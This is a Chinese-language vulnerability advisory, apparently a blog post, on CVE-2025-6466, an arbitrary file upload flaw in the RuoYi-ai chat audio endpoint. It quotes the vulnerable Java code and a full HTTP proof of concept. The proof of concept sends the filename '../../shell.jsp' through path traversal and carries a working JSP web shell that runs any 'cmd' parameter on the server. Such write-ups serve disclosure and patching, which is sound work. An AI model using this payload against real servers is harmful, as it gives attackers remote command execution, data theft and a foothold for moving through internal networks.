导语

一条未过滤的上传路径,可能成为整个系统的死亡入口

    安全团队确认!RuoYi-ai开源框架核心文件上传功能存在高危漏洞(CVE-2025-6466),攻击者可绕过安全防护上传任意文件,可以直接获取服务器控制权限。该漏洞已发现大规模利用迹象,涉及政府、金融、教育等行业的数万系统。

漏洞位置

//ruoyi-modules\ruoyi-fusion\src\main\java\org\ruoyi\fusion\controller\ChatController.java 
    /**
     * 语音转文本
     *
     * @param file
     */
    @PostMapping("/audio")
    @ResponseBody
    public WhisperResponse audio(@RequestParam("file") MultipartFile file) {
        WhisperResponse whisperResponse = ISseService.speechToTextTranscriptionsV2(file);
        return whisperResponse;
    }

//ruoyi-modules\ruoyi-system\src\main\java\org\ruoyi\system\service\impl\SseServiceImpl.java
   /**
     * 语音转文字
     */
    @Override
    public WhisperResponse speechToTextTranscriptionsV2(MultipartFile file) {
        // 确保文件不为空
        if (file.isEmpty()) {
            throw new IllegalStateException("Cannot convert an empty MultipartFile");
        }
        // 创建一个文件对象
        File fileA = new File(System.getProperty("java.io.tmpdir") + File.separator + file.getOriginalFilename());
        try {
            // 将 MultipartFile 的内容写入文件
            file.transferTo(fileA);
        } catch (IOException e) {
            throw new RuntimeException("Failed to convert MultipartFile to File", e);
        }
        return openAiStreamClient.speechToTextTranscriptions(fileA);
    }

可以看到,外部 API 入口 /audio 接收到用户上传的 MultipartFile,直接传递给 ISseService.speechToTextTranscriptionsV2 函数进行处理。同时,speechToTextTranscriptionsV2 函数直接引用用户可控的文件名和后缀作为保存在服务器上的最终文件路径和名称,无需任何安全检查,从而形成了典型的文件上传漏洞。攻击者可以利用此漏洞将恶意木马文件上传到受害者的服务器,从而控制服务器或覆盖服务器上的任何文件,从而对目标服务器造成严重影响。

POC:

POST /chat/audio HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Content-Length: 628

------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="file"; filename="../../shell.jsp"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
------WebKitFormBoundary7MA4YWxk--

攻击影响

  • 远程代码执行:上传WebShell获取服务器控制权

  • 敏感数据窃取:读取数据库配置文件等核心资产

  • 内网渗透:利用被控服务器作为攻击跳板

  • 服务瘫痪:上传批处理脚本删除关键系统文件

紧急修复方案

升级至v2.1.0

漏洞相关链接:

https://github.com/ageerle/ruoyi-ai/commit/4e93ac86d4891c59ecfcd27c051de9b3c5379315
https://github.com/ageerle/ruoyi-ai/issues/9
https://github.com/ageerle/ruoyi-ai/issues/9#event-16775988438

免责声明1

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助

第十二条:  国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第十三条:  国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。

免责声明2

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。